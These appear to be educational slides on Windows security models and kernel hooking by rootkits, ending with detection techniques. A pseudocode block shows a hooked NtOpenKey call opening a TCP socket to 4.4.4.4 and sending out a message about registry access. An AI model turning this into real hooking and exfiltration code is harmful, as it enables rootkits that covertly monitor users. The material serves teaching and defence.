Windows Security

Project
Security in Windows?

• DAC
  • Windows login
  • Access control entries
    • SID (UID in Linux)
    • Access mask (chmod 755 in Unix)

• MAC
  • Ring 0 and Ring 3 (kernel and user space separation)

• RBAC
  • Active Directory, sort of. No separation of duty because of centralized control
So why is it so insecure?

• DAC is ok

• MAC is weak. Very thin separation between kernel and user land
  • Third parties allowed to load their drivers, as long as they are certified. In Windows XP, any program can reach the kernel.
    • All parties raced to “be the first in kernel”. End up being a cat and mouse game
    • Sony BMG DRM, antihack software, rootkits

• MAC is weak, but we still have DAC? Not exactly
Windows Architecture
Kernel

• Because of weak MAC, once kernel is breached, all MAC and DAC mechanisms cease to be trustworthy

• Blue screens, race conditions, termination of critical subsystems

• One of the most famous technique to manipulate the kernel is hooking
  • Easy to do while being the most reliable
  • Changes code flow unpredictably
Hooks. The path not taking, took.

```
ZwOpenKey("HKLM\Security")

NtOpenKey

Security.log

ZwOpenKey("HKLM\Security")

OpenTCPSocket(4.4.4.4,80);
TCPSend("User tried to access reg key");

NtOpenKey

Security.log
```
Detection techniques

• Traverse the pointers. If a pointer is pointing to a function outside the memory space of ntoskrnl, flag it.
• Scan jmp / call instructions
Bibliography